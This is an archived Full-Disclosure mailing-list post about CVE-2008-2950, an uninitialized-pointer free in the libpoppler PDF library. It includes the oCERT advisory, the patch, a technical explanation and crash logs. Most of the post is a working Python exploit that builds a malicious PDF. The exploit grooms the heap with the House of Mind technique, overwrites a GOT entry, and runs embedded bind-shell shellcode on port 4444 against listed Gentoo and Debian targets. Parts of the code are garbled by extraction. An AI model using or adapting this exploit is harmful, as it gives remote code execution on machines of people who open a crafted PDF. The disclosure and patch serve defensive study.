Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:20142
HistoryJul 10, 2008 - 12:00 a.m.

[Full-disclosure] #2008-007 libpoppler uninitialized pointer - POC

2008-07-1000:00:00
vulners.com
14

hi.
I was in doubt about releasing this because of there is no official patch.
I suppose at this point anyone could accomplish the same thing so, again
I'm in doubt.
A friend once told me that if in doubt take your pants off. I've already
tried that and I didn't earn no resolution to my conflict so… I thought I
should try the internet version of that strategy. So here we are, enjoy…
f/

'''
#OCERT ADV
#2008-007 libpoppler uninitialized pointer

Description:

The poppler PDF rendering library suffers a memory management bug which
leads to arbitrary code execution.

The vulnerability is present in the Page class constructor/destructor. The
pageWidgets object is not initialized in the Page constructor if specific
conditions are met, but it is deleted afterwards in the destructor
regardless of its initialization.

Specific PDF files can be crafted which allocate arbitrary memory to
trigger the vulnerability.

A new poppler version addressing the issue is scheduled to be released on
July 30th according to maintainer.

The following patch fixes the issue:

diff --git a/poppler/Page.cc b/poppler/Page.cc
index b28a3ee…72a706b 100644
β€” a/poppler/Page.cc
+++ b/poppler/Page.cc
@@ -230,7 +230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key,
PDFRectangle *box) {

Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form
*form) {
Object tmp;

  • pageWidgets = NULL; //Security fix
    ok = gTrue;
    xref = xrefA;
    num = numA;

Affected version:

Poppler <= 0.8.4

Fixed version:

Poppler, N/A

Credit: vulnerability report, patch and PoC code received from Felipe
Andres Manzano <fmanzano [at] fceia [dot] unr [dot] edu [dot] ar>.

CVE: CVE-2008-2950
Timeline:

2008-06-27: vulnerability report received
2008-06-28: contacted poppler maintainers and affected vendors
2008-06-30: maintainer confirms issue and patch
2008-07-07: advisory release

References:

Permalink:
http://www.ocert.org/advisories/ocert-2008-007.html

####END OCERT

Sumary:

The libpoppler pdf rendering library, can free uninitialized pointers,
leading to arbitrary code execution. This vulnerability results from
memory management bugs in the Page class constructor/destructor.

Technical Description - Exploit/Concept Code:

Tests were performed using libpoppler util pdftotext taken from
git://git.freedesktop.org/git/poppler/poppler.
Other version where tried succesfully (the ones shiped with
debian/gentoo).

In the initialization of a Page object and under certain conditions a
member object skips initialization, but then is eventualy deleted. This
can be conducted to the situation in which an arbitrary pointer is
passed to the libc free and so the it gets apropiate for the malloc
maleficarum to enter the scene.

Look at the Page class constructor on Page.cc:231. First at the begining
of the function the member object pageWidgets isnt initialized then it
tries to check if the type of the annotations proposed on the pdf file
ar correct; if not it bails out to the label err2. Note that is some
incorcondance on the type of the anotation arise the member variable
pageWidgets is never initialized!

Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form
*form) {
Object tmp;
[…]
// annotations
pageDict->lookupNF("Annots", &annots);
if (!(annots.isRef() || annots.isArray() || annots.isNull())) {
error(-1, "Page annotations object (page %d) is wrong type (%s)",
num, annots.getTypeName());
annots.free();
goto err2;
}

// forms
pageWidgets = new FormPageWidgets(xrefA, this->getAnnots(&tmp),num,form);
tmp.free();
[…]
err2:
annots.initNull();
err1:
contents.initNull();
ok = gFalse;
}

But in the Page class destructor, Page.cc:309, pageWidgets is deleted
without any consideration. The Page destructor is inmediatelly called
after the erroneous Page construction.

Page::~Page() {
delete pageWidgets;
delete attrs;
annots.free();
contents.free();
}

It is worth mentioning that the pdf rendering scenario is friendly with
the heap massage technics because you will find lots of ways to allocate
or allocate/free memory in the already probided functionality. In the
POC I have used repetidely the 'name' of the fields of a pdf dictionary
to allocate memory. Each name allocates up to 127bytes and apparently
there is no limit in the number of fields.

The following excerpt is a sample verification of the existence of
the problem :

localhost expl-poppler # python poppler-exploit-rc8.py gentoo-pdftotext
>test.pdf
localhost expl-poppler # pdftotext test.pdf
Error: PDF file is damaged - attempting to reconstruct xref table…
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
Error: Page count in top-level pages object is incorrect
Error: Couldnt read page catalog
Trace/breakpoint trap

:)

Further research should be done to accomodate the heap for other
applications like evince:
localhost expl-poppler # evince test.pdf

(evince:8912): GnomeUI-WARNING **: While connecting to session manager:
Authentication Rejected, reason : None of the authentication protocols
specified are supported and host-based authentication failed.

(evince:8912): WARNING: Service registration failed.

(evince:8912): WARNING: Did not receive a reply. Possible causes
include: the remote application did not send a reply, the message bus
security policy blocked the reply, the reply timeout expired, or the
network connection was broken.
Error: PDF file is damaged - attempting to reconstruct xref table…
Error: Annotation rectangle is wrong type
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Bad bounding box for annotation
Error: Page annotations object (page 3) is wrong type (integer)
*** glibc detected*** evince: munmap_chunk(): invalid pointer: 0x08100468


Note that 0x08100468 is still a provided pointer. But in this try some
malloc structure like _heap_info (see. house of mind) is not correctly
aligned any more. Maybe evince-thumbnailer which is (probably
monothreaded) is an easier target.

Patch

diff --git a/poppler/Page.cc b/poppler/Page.cc
index b28a3ee…72a706b 100644
β€” a/poppler/Page.cc
+++ b/poppler/Page.cc
@@ -230,7 +230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key,
PDFRectangle *box) {

Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form
*form) {
Object tmp;

  • pageWidgets = NULL; //Security fix
    ok = gTrue;
    xref = xrefA;
    num = numA;

POC:

Written in pyploit. It can be used 2 ways , one selecting a preconfigured
target like gentoo-pdftotext or the other in which you could pass some
malloc/free execution trace moddifing parameters.

'''
##########################################################################

Felipe Andres Manzano * [email protected]

some shit on http://felipe.andres.manzano.googlepages.com/home

##########################################################################

import struct
import struct
import math
import os

import sys

print "%.400f"%d wont work :( … so a quick double printing class

class Doubles:
def init(self, precision=400):
self.precision=precision

def pdficateint&#40;self,i1,i2&#41;:
    s = struct.pack&#40;&quot;@L&quot;,i1&#41; + struct.pack&#40;&quot;@L&quot;,i2&#41;
    return self.pdficatestr&#40;s&#41;

def pdficate&#40;self,s&#41;:
    rslt = &quot; &quot;
    for  pos in range &#40;0,len&#40;s&#41;/8&#41;:
        rslt+=self.pdficatestr&#40;s[&#40;pos*8&#41;:&#40;pos*8&#41;+8]&#41;+&quot; &quot;
    return rslt;

def pdficatestr&#40;self, s&#41;:
    d = struct.unpack&#40;&quot;d&quot;,s&#41;[0]
    rslt=&quot; &quot;
    if&#40;d&lt;0.0&#41;:
        rslt+=&quot;-&quot;
        d=-d
    rslt+=&quot;&#37;d.&quot;&#37;int&#40;math.floor&#40;d&#41;&#41;
    myd=math.floor&#40;d&#41;
    scale=0.1
    nines=0
    for p in range&#40;1,self.precision&#41;:
        for i in range&#40;1,10&#41;:
            if &#40;myd+scale*i&#41; &gt; d:
                i-=1
                break
        if i==9:
            if nines&gt;6:
                return rslt
            else:
                nines+=1
        else:
            nines=0
        rslt+=&#40;&quot;&#37;02d&quot;&#37;i&#41;[1]
        myd+=scale* i
        scale=scale*0.1
    return rslt

##From Malloc maleficarum
##http://packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
class HouseOfMind:

HEAP_MAX_SIZE=&#40;1024*1024&#41;
JMP=&#39;&#92;xeb&#39;
NOP=&#39;&#92;x90&#39;
PAD=&#39;&#92;x00&#39;
PREV_INUSE=0x1
IS_MMAPPED=0x2
NON_MAIN_ARENA=0x4
def __init__&#40;self, base, where, payload, entrypoint&#41;:
    self.base=base
    self.where=where-0xc
    self.heap_info = &#40;base+self.HEAP_MAX_SIZE-1&#41;&amp; ~&#40;self.HEAP_MAX_SIZE-1&#41;
    self.payload=payload
    self.entrypoint=entrypoint
    self.chunkaddress=0
    if &#40;self.entrypoint &gt; 0xff - 8&#41;:
            throw

lendian, 32bit only

See The Malloc Maleficarum / House of Mind

def mind&#40;self&#41;:
    rslt = &quot;&quot;
    #first we add padding to reach the next Heap border
    rslt+=self.PAD*&#40;self.heap_info-self.base&#41;

    #now we add a _heap_info pinting to a malloc_state of our own
    #and dictating a generous size for this *heap*
    ##arena.c:59 //struct _heap_info
    rslt += struct.pack&#40;&quot;&lt;L&quot;, self.heap_info + 16&#41; # Arena for this heap.
    rslt += struct.pack&#40;&quot;&lt;L&quot;, 0x0000000&#41; # Previous heap. &#40;BUG: Don&#39;t

know what M does with this)
rslt += struct.pack("<L", 0x7000000) # Current size in bytes.
rslt += struct.pack("<L", 0x7000000) # Size in bytes that has been
mprotected PROT_READ|PROT_WRITE
#here arena.c suggest some padding. We just don't do it.

    #now we add the malloc_state of our own
    ##malloc.c:2317 //struct malloc_state
    rslt += struct.pack&#40;&quot;&lt;L&quot;, 0x00000000&#41;        # mutex for

serializing access * 0 -> unlocked.
rslt += struct.pack("<L", 0x000ffff) # Flags * We need
NONCONTIGUOUS_BIT to be on for passing
# condition on malloc.c:@@@@@

    #Note: We assume not Thread&#39;s stats#

    rslt += struct.pack&#40;&quot;&lt;L&quot;, 0x00000000&#41;*10         #Fastbins * We

don use them.
rslt += struct.pack("<L", 0x00000000) #Base of the
topmost chunk–not otherwise kept in a bin
#We need it to be
different to our
chunk pointer for
#passing condition
on malloc.c:@@@@,
0 is safe enough
rslt += struct.pack("<L", 0x00000000) #The remainder from
the most recent split of a small request

    #Here it come the bins
    ##The first one is the Unsorted bin!
    ##Free will write the *chunk* to the containing address +0xc; so it
    ##shout point to the GOT pointer to &#39;overload&#39; -0xc
    rslt += struct.pack&#40;&quot;&lt;L&quot;, self.where&#41;;

    rslt += struct.pack&#40;&quot;&lt;L&quot;, 0x0000000&#41;* 253        #All the other

unused bins go to 0 * ~
rslt += struct.pack("<L", 0x00000000)*4 #Bitmap of
bins

    rslt += struct.pack&#40;&quot;&lt;L&quot;, 0x00000000&#41;        #Linked list next

malloc_state

    ##Memory allocated from the system in this arena.
    rslt += struct.pack&#40;&quot;&lt;L&quot;, 0x70000000&#41;        #system_mem * Need to

be big enough for passing the
#condition on malloc:@@@@
rslt += struct.pack("<L", 0x00000000) #max_system_mem ??

    #needed for chunk aligment
    rslt += self.PAD*4

#CHUNKS

An allocated chunk looks like this:

chunk->

Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±+

| Size of previous chunk, if allocated

| |

Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±+

| Size of chunk, in bytes

|M|P|

mem->

Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±+

| User data starts here…

.

.

.

. (malloc_usable_size() bytes)

.

.

|
#nextchunk->
Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±+

| Size of chunk

|

Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±Β±+

    #chunk 0 There isn&#39;t a single reason for this to exist *

wabaaaaaaaaaa!

rslt += struct.pack("<L", 16) #Size of previous chunk *

UNUSED

rslt += struct.pack("<L", 64) #Size of chunk, in bytes.

No flags

rslt += self.PAD*(64-8)

    #chunk 1 THE CHAMP
    rslt +=

"\x40"+self.JMP+struct.pack("B",5+self.entrypoint)+self.PAD
#Size of previous chunk *DOESN'T MATTER!
rslt +=
struct.pack("<L",8+len(self.payload)|self.PREV_INUSE|self.NON_MAIN_ARENA)

Size of this chunk

                                                                          #TODO:

Explain
flags,
link
code

    ##Save the chunk1 address
    self.chunkaddress= self.base + len&#40;rslt&#41;
    rslt += self.payload        #payload &#40;payload[entrypoint] should

contain shellcode)!

    #chunk 2 THE LAST?
    rslt += struct.pack&#40;&quot;&lt;L&quot;,8+len&#40;self.payload&#41;&#41;        #Size of

previous chunk
#TODO: link where
it is checked

    rslt += struct.pack&#40;&quot;&lt;L&quot;,64|self.PREV_INUSE|self.NON_MAIN_ARENA&#41; 

#Size of this chunk
#Neds
to
be
greater
than
2
*
SIZE_SZ,
#TODO:
Explain
flags,
link
code

    rslt += self.PAD*&#40;64-8&#41;

    #chunk 3 THE LAST!
    rslt += struct.pack&#40;&quot;&lt;L&quot;,64&#41;                #Size of previous chunk
    rslt += struct.pack&#40;&quot;&lt;L&quot;,self.PREV_INUSE&#41;    #Size of this chunk *

Here we need just the PREV_INUSE bit set
return rslt
#no need no payload

#For constructing a minimal pdf file
class PDFObject:
def init(self,toks):
self.toks=toks
self.n=0
self.v=0

def __str__&#40;self&#41;:
    s=&quot;&#37;d &#37;d obj&#92;n&quot;&#37;&#40;self.n,self.v&#41;
    for t in self.toks:
        s+=t.__str__&#40;&#41;
    s+=&quot;&#92;nendobj&#92;n&quot;
    return s

class PDFDict():
def init(self):
self.dict = []

def add&#40;self,name,obj&#41;:
    self.dict.append&#40;&#40;name,obj&#41;&#41;

def __str__&#40;self&#41;:
    s=&quot;&lt;&lt;&quot;
    for name,obj in self.dict:
        s+=&quot;/&#37;s &#37;s&#92;n&quot;&#37;&#40;name,obj&#41;
    s+=&quot;&gt;&gt;&quot;
    return s

class PDFName():
def init(self,s):
self.s=s
def str(self):
return "/%s"%self.s

class PDFString():
def init(self,s):
self.s=s
def str(self):
return "(%s)"%self.s

class PDFRef():
def init(self,obj):
self.obj=obj
def str(self):
return "%d %d R"%(self.obj.n,self.obj.v)

class PDFDoc():
def init(self):
self.objs=[]

def add&#40;self,obj&#41;:
    obj.v=0
    obj.n=1+len&#40;self.objs&#41;
    self.objs.append&#40;obj&#41;

def _header&#40;self&#41;:
    return &quot;&#37;PDF-1.5&#92;n&quot;

def __str__&#40;self&#41;:
    doc1 = &quot;&#37;PDF-1.5&#92;n&quot;
    xref = {}
    for obj in self.objs:
        xref[obj.n] = len&#40;doc1&#41;
        doc1=doc1+obj.__str__&#40;&#41;
    posxref=len&#40;doc1&#41;
    doc1+=&quot;xref&#92;n&quot;
    doc1+=&quot;0 &#37;d&#92;n&quot;&#37;len&#40;self.objs&#41;
    doc1+=&quot;0000000000 65535 f&#92;n&quot;
    for xr in xref.keys&#40;&#41;:
        doc1+= &quot;&#37;010d &#37;05d n&#92;n&quot;&#37;&#40;xref[xr],0&#41;
    doc1+=&quot;trailer&#92;n&quot;
    trailer =  PDFDict&#40;&#41;
    trailer.add&#40;&quot;Size&quot;,len&#40;self.objs&#41;&#41;
    trailer.add&#40;&quot;Root&quot;,&quot;2 0 R&quot;&#41;
    doc1+=trailer.__str__&#40;&#41;
    doc1+=&quot;&#92;nstartxref&#92;n&#37;d&#92;n&quot;&#37;posxref
    doc1+=&quot;&#37;&#37;EOF&#92;n&#92;n&quot;

    return doc1

#The … "POC"
class PopplerExpl:

def __init__&#40;self,shellcode&#41;:
    self.shellcode=shellcode
    self.d = Doubles&#40;&#41;

#this wraps the shellcode in an encoding supported by 'doubles'
def wrap(self,scode,where):
wrapscode = '\xb8' + struct.pack("<L",where)+"\x90"*3
#movl where, %eax;nop;nop;nop
for c in scode:
wrapscode += "\xc6\x00%c\x40"%c
#movb $c, (%eax); inc %eax
if (len(scode)%2!=0):
wrapscode += "\xc6\x00\xcc\x40"
#movb $0xcc, (%eax); inc %eax
wrapscode += "\xb8" + struct.pack("<L",where)+"\x90"3
#movl where, %eax;nop;nop;nop
wrapscode += "\x50\xc3"
#push %eax;ret
return wrapscode + '\x00'
(1000-len(wrapscode))
#padding to a supported size

def make&#40;self,base,got,massage=None&#41;:
    #here we generate the house of mind thingy
    #The House Of Mind  instance.
    #Te first word es passed tu a gfree so we put 0 so we ignore that

free.
hm = HouseOfMind(base, got, "\x00"*16+
self.wrap(self.shellcode,base), 16)
mind = hm.mind()

    doc = PDFDoc&#40;&#41;
    doc.add&#40;PDFObject&#40;[&quot;&lt;&lt;/Length 3&gt;&gt;&#92;nstream...&#92;nendstream&#92;n&quot;]&#41;&#41;
    catalog = PDFDict&#40;&#41;
    catalog.add&#40;&quot;Type&quot;, PDFName&#40;&quot;Catalog&quot;&#41;&#41;
    catalog.add&#40;&quot;Outlines&quot;, &quot;3 0 R&quot;&#41;
    catalog.add&#40;&quot;Pages&quot;, &quot;4 0 R&quot;&#41;
    catalog.add&#40;&quot;AcroForm&quot;, &quot;&lt;&lt;/Fields [ 7 0 R ]&gt;&gt;&quot;&#41;

    #for i in range&#40;0,1000&#41;:
    #    catalog.add&#40; &quot;C&quot;*82 + &quot;&#37;05d&quot;&#37;i,  0&#41;

    outlines = PDFDict&#40;&#41;
    outlines.add&#40;&quot;Type&quot;, PDFName&#40;&quot;Outlines&quot;&#41;&#41;
    outlines.add&#40;&quot;Count&quot;,0&#41;

    pages = PDFDict&#40;&#41;
    pages.add&#40;&quot;Type&quot;, PDFName&#40;&quot;Pages&quot;&#41;&#41;
    pages.add&#40;&quot;Kids&quot;,&quot;[ 8 0 R  6 0 R 5 0 R ]&quot;&#41;
    pages.add&#40;&quot;Count&quot;,&quot;3&quot;&#41;

    doc.add&#40;PDFObject&#40;[catalog]&#41;&#41;
    doc.add&#40;PDFObject&#40;[outlines]&#41;&#41;
    doc.add&#40;PDFObject&#40;[pages]&#41;&#41;

    page1 = PDFDict&#40;&#41;
    page1.add&#40;&quot;Type&quot;, PDFName&#40;&quot;Page&quot;&#41;&#41;
    page1.add&#40;&quot;Parent&quot;, &quot;4 0 R&quot;&#41;
    page1.add&#40;&quot;MediaBox&quot;,&quot;[ 0 0 612 792 ]&quot;&#41;
    page1.add&#40;&quot;Contents&quot;, &quot;1 0 R&quot;&#41;
    page1.add&#40;&quot;Resources&quot;, &quot;&lt;&lt; /ProcSet 6 0 R &gt;&gt;&quot;&#41;
    page1.add&#40;&quot;Annots&quot;, &quot;0&quot;&#41;

    #malloc-fill-free lots of chunks of the size then used by Page

class(88)
for pagesize in range(88,126):
payload =
("".join(["#%02x"%ord(struct.pack("@L",hm.chunkaddress)[i])
for i in range (0,4)]))19
payload += "B"
(pagesize-(len(payload)/3))
for i in range(0,10):
page1.add(payload, 0)

    doc.add&#40;PDFObject&#40;[page1]&#41;&#41;

    page1 = PDFDict&#40;&#41;
    page1.add&#40;&quot;Type&quot;, PDFName&#40;&quot;Page&quot;&#41;&#41;
    page1.add&#40;&quot;Parent&quot;, &quot;4 0 R&quot;&#41;
    page1.add&#40;&quot;MediaBox&quot;,&quot;[ 0 0 612 792 ]&quot;&#41;
    page1.add&#40;&quot;Contents&quot;, &quot;1 0 R&quot;&#41;
    page1.add&#40;&quot;Resources&quot;, &quot;&lt;&lt; /ProcSet 6 0 R &gt;&gt;&quot;&#41;
    page1.add&#40;&quot;Annots&quot;, &quot;[7 0 R 7 0 R 7 0 R 7 0 R]&quot;&#41;

    #massage session 1
    size=127
    for i in range&#40;0,massage[0]&#41;:
        page1.add&#40; &quot;A&quot;*&#40;size-5&#41;+&#40;&quot;&#37;05d&quot;&#37;&#40;i&#41;&#41;,  &quot;B&quot;*size&#41;

    doc.add&#40;PDFObject&#40;[page1]&#41;&#41;
    annots = PDFDict&#40;&#41;
    annots.add&#40;&quot;Subtype&quot;,&quot;/Text&quot;&#41;

    annots.add&#40;&quot;BS&quot;, &quot;&lt;&lt;/D [ &quot;+
    &quot;0 &quot;*massage[1] +
    self.d.pdficate&#40;mind&#41;+
    #more massage&gt;?
    &quot;0.0 &quot;*massage[2] + &quot; ]&gt;&gt;&quot;&#41;

    annots.add&#40;&quot;FT&quot;, &quot;/Tx&quot;&#41;
    doc.add&#40;PDFObject&#40;[annots]&#41;&#41;

    page1 = PDFDict&#40;&#41;
    page1.add&#40;&quot;Type&quot;, PDFName&#40;&quot;Page&quot;&#41;&#41;
    page1.add&#40;&quot;Parent&quot;, &quot;4 0 R&quot;&#41;
    page1.add&#40;&quot;MediaBox&quot;,&quot;[ 0 0 612 792 ]&quot;&#41;
    page1.add&#40;&quot;Contents&quot;, &quot;1 0 R&quot;&#41;
    page1.add&#40;&quot;Resources&quot;, &quot;&lt;&lt; /ProcSet 6 0 R &gt;&gt;&quot;&#41;
    page1.add&#40;&quot;Annots&quot;, &quot;[7 0 R]&quot;&#41;
    doc.add&#40;PDFObject&#40;[page1]&#41;&#41;
    doc.add&#40;PDFObject&#40;[&quot;&lt;&lt;&gt;&gt;&quot;]&#41;&#41;
    doc.add&#40;PDFObject&#40;[&quot;[ /PDF ]&quot;]&#41;&#41;
    return doc.__str__&#40;&#41;

##Main

Not every shellcode will work by now

Only the ones that taken by 8bytes form an ieee754 double presicion float

with an exponent not too positive … :)

linux_ia32_bind - LPORT=4444 Size=84 Encoder=None http://metasploit.com

scode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
scode += "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
scode += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
scode += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
scode += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
scode += "\x89\xe1\xcd\x80"

#expl = PopplerExpl( ('\xcc'+'\x90')*((160-16)/2))
expl = PopplerExpl(scode)

targets = {
"gentoo-pdftotext":(0x08100000, 0x804c014, 1863, 20, 400),
"debian4-pdftotext":(0x08100000, 0x804bb18, 1879, 33, 400),
"gentoo-evince-thumbnailer": (0x8100000, 0x080712c4, 907, 34, 200),

}

if len( sys.argv )==1:
print "Comments -> [email protected]"
print "Usage 1:"
print " %s "%sys.argv[0], targets.keys()
print "Usage 2:"
print " %s massage1 massage2 massage3 base got"%sys.argv[0]
print " The idea here is to align the _heap_info struct that
commences with 0x08?00010 "
print " to the address 0x8?0000. For this pourpose move
massage1/2/3. "
print " THIS STUPIDLY SIMPLE METHOD WOULD WORK FOR VERY FEW
APPS !"
print " base is the 1024*1024 bytes aligned address to which we
are trying to align everything"
print " got is the addres of the got where the thing is going
to write the shellcode address"
print " BTW by now the shellcode is nop;int 3;nop…grooovy!..
NOT"
elif len( sys.argv )>2:
print expl.make(int(sys.argv[4][2:],16), int(sys.argv[5][2:],16),
(int(sys.argv[1]),int(sys.argv[2]),int(sys.argv[3])))
else:
#base: the expected heap limit (08100000,08200000,…08f00000… )
#got: address of the got entry to change
#chinesse massage
base,got,massage1,massage2,massage3 = targets[sys.argv[1]]
print expl.make(base,got,(massage1,massage2,massage3))

#thnks A


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/